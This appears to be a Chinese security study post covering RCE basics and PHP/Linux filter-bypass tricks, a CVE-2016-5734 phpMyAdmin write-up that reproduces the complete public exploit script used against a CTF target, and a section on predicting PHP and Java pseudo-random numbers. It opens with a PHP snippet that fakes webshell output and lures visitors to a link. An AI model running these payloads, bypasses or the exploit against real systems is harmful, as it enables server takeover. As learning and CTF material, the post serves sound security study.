if (preg_match($iscmd,$A)!=0) {
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $payload='http://exp.com/index.html';
    echo 'WARN://'."\n".'Data upload is successful,but interact with flash.Please visit the website for shell link.SQLMAP:'."$payload";//随便写,诱惑别人点进去。反正我是不信sqlmap会用flash
} else {
    echo "SORRY";
    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
    $c="$B[0]";
    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
    echo "$txt";//伪造连通性
}

反思

其实这个连通性写的有问题,因为我的wireshark有点问题,一直是抓不了本地的流量包,只能看我终端返回的内容进行伪造了=_=

如果可以的话,师傅们可以抓本地流量包,然后改写伪造连通性的脚本。

RCE的小小总结

关于 RCE 那些老生常谈的事

简单介绍

RCE,远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过“自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

简单而言,根本原因是服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

了解一下常见的命令执行函数

1.system()

system()函数会调用fork()产生子进程,由子进程调用/bin/sh -c command执行特定的命令,暂停当前进程直到command命令执行完毕,当此命令执行完后随即返回原调用的进程。

eg.

int system(const char * cmdstring)
 {
     pid_t pid;
     int status;
     if(cmdstring == NULL){  
          return (1);
     }
     if((pid = fork())<0){
             status = -1;
     }
     else if(pid == 0){
         execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
         _exit(127); //子进程正常执行则不会执行此语句
        }
     else{
             while(waitpid(pid, &status, 0) < 0){
                 if(errno != EINTER){
                     status = -1;
                     break;
                 }
             }
         }
         return status;
 }

当system()正常执行,将返回命令的退出码;

当返回值为127,相当于执行了exit函数,而自身命令没有执行;

当返回值为-1,代表没有执行system调用。

2.exec()

exec()函数也会执行commad命令,但是与system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响。

并且exec执行command命令时,不会输出全部结果,而是返回结果的最后一行。

exec()函数原型如下:

string exec (string $command ,array $output ,int $return_var );

若想返回全部结果,需要使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。

eg.

<?php
exec('ls /var/www');
?>

可以看到执行后是没有输出的

修改一下

输出结果

Array

(

[0] => index.php

[1] => list.txt

[2] => rce.php

)

3.shell_exec()

shell_exec()环境在shell下执行命令,所以只适用于Linux和Mac_OS,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

eg.

<?php
$output = shell_exec('ls');
echo "$output";
?>

输出结果如下:

index.php

list.txt

rce.php

4.passthru()

passthru()函数原型:void passthru (string $command , int $return_var);

passthru直接将结果输出,不返回结果。

Windows系统命令拼接方式

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help | more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

关于绕过的小技巧

许多题目和实战中,RCE往往与上传webshell联系,而且基本会有waf和一定程度的过滤,然后一起写一下。

php字符被过滤

如果php被过滤了,我们可以使用短标签绕过。常见的php标签为<?php ?>;,如果php字符被过滤了,可以用短标签<?= ?>;

可以再举个栗子:system字符被过滤

反引号 ` 可以直接执行命令,需要搭配echo()函数来输出回显。

然后灵活贯通,结合上面两种方式构造一个简洁的命令执行语句。

<?=echo `ls /`?>;

空格被过滤

常见绕过方式有利用URL编码:%20、%09(tab)

还有利用$IFS$9$IFS$1等内部域分隔符,可以看这篇文章[【shell】IFS和$*变量 - 简书 (jianshu.com)]

{}也可以,比如这样{cat,flag}

某些关键字被过滤

为了防止直接cat /flag,很多题目就把一些函数名称过滤掉。但是绕过方法有很多,选一个适合的就好。

常见的编码绕过:base64编码绕过

echo "Y2F0IC9mbGFn"|base64 -d|bash     //cat /flag

引号绕过

ph""p  =>  php
ca""t  =>  cat

偶读拼接绕过

?ip=192.168.0.1;a=l;b=s;$a$b

反斜杠 \ 绕过

ca\t => cat
fl\ag => flag
ph\p => php

通配符绕过(参考P牛的文章,大佬tql)[无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)]还有WHOAMI的老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替
/?url=192.168.0.1|cat%09/fla?
/?url=192.168.0.1|cat%09/fla*

[Phpmyadmin]CVE-2016-5734复现

借用了BuuCTF的靶机^_^

CVE-2016-5734exploit-db上也就是phpMyAdmin 4.6.2 - Authenticated Remote Code Execution**,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行。

漏洞分析

首先来说说preg_replace函数:
preg_replace.函数执行一个正则表达式的搜索和替换。

再来说说什么是preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义。

举个栗子

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

POC

?raw=a&replace=system("ls")&text=larry

会引起漏洞。

如果栗子变成如下代码:

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成PHP代码执行。

POC

?raw=a/e%00&replace=system(%22ls%22)&text=larry

这样也会引起漏洞。

漏洞利用

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
python3 cve-2016-5734.py -c 'system(env);'-u root -p root -d test http://node3.buuoj.cn:29272

代码执行成功,得到flag。

伪随机数

伪随机数

伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。常见的有php伪随机数和java伪随机数。

PHP伪随机数

主要由两个函数组成

mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand()   //生成随机数

mt_scrand()通过seed分发种子,有了种子以后,通过mt_rand()生成伪随机数

我们测试入如下代码

<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
echo mt_rand()."###";
?>  
<?php  
mt_srand(1);  
echo mt_rand()."###";
echo mt_rand()."###";
?> 

会得到如下的结果

895547922###2141438069###1546885062###  
895547922###2141438069### 

很明显,当我们发现种子不变时,实际上生成的伪随机数是不变的,这就是伪随机数的漏洞所在。

mt_rand源码简要分析

通过mt_rand源码分析理解为什么mt_rand()只播种一次

/ext/standard/rand.c中可以看到,播完种后,将会将 mt_rand_is_seeded 的值设置为1,因此mt_rand只播种一次

mt_rand1

攻击方法

Java伪随机数

以java为例,强伪随机数RNG实现java.security.SecureRandom类,该类使用临时文件夹中大小,线程休眠时间等的值作为随机数种子;而弱伪随机数实现PRNGjava.util.Random类,默认使用当前时间作为种子,并且采用线性同余法计算下一个随机数。

我们测试如下代码

import java.util.Random;

public class rand{
    public static void main(String[] args){
        Random r1 = new Random(1);
        System.out.println("r1.nextInt(12) = " + r1.nextInt(12));

        Random r2 = new Random(1);
        System.out.println("r2.nextInt(12) = " + r2.nextInt(12));
    }
}

会得到如下结果

r1.nextInt(12) = 9
r2.nextInt(12) = 9

很明显,无论执行多少次,代码的结果不会改变。Random生成的随机数是伪随机数。

java.util.Random的可预测性

调用random.nextInt方法生成三个连续的随机数,要求根据前两个随机数去预测第三个随机数

查看源代码,可以看见直接调用的next方法,传递的参数是32

java_random1> * 追踪next方法,可以看到前一个随机数种子(oldseed)和后一个随机数种子(nextseed)都被定义为long类型,方法返回的值就是下一个种子右移16位后强制转换int的结果

java_random2

while里的compareAndSet方法只是比较当前的种子值是否为oldseed,如果是的话就更新为nextseed,一般情况下都会返回true

下一个种子的更新算法就在do-while循环里面:nextseed = (oldseed * multiplier + addend) & mask,种子的初始值是将当前系统时间带入运算得到的结果

返回开头的类定义可以看到这几个常量属性的值

java_random3

这个种子的更新算法本质上就是一个线性同余生成器

线性同余生成器(LCG)

LCG的公式如下:

LCG

和上面的代码对比可以看出是基本一致的,因为和mask常量做与运算就相当于是舍弃高位,保留2进制的低47位,也就相当于模2的48次方。我们既然都有了常量的值了,就可以去做第三个随机数的预测了。

预测方法

如果把生成第一个随机数的种子定义为seed1,seed2,seed3往后顺延的话,seed1右移16位就是第一个随机数的值,说明第一个随机数丢了16位,导致seed1就有2的16次方种可能。

把2的16次方种可能带入计算下一个seed2,并且右移查看是否和第二个随机数的值相等就能确定是否正确的找到了seed1。

如果前两个数是正数,但第三个数是负数,只需要对得到的补码再求一次补码即可,也就是取反后加1。